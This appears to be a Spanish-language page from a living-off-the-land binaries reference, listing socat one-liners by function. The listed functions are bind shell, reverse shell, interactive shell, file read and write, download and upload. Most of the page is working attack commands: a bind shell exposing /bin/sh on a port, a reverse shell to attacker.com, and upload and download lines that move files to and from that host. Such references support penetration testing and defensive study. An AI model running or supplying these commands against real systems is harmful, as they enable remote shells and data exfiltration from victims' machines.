./socat --examples
Funciones y ejemplos de uso
bind-shell
socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
download
socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
file-read
socat -u file:/path/to/input-file -
file-write
socat -u 'exec:echo DATA' open:/path/to/output-file,creat
reverse-shell
socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
shell
socat - exec:/bin/sh,pty,ctty,raw,echo=0
upload
socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
./related --binary=socat
Binarios relacionados
Comparten al menos una función con socat.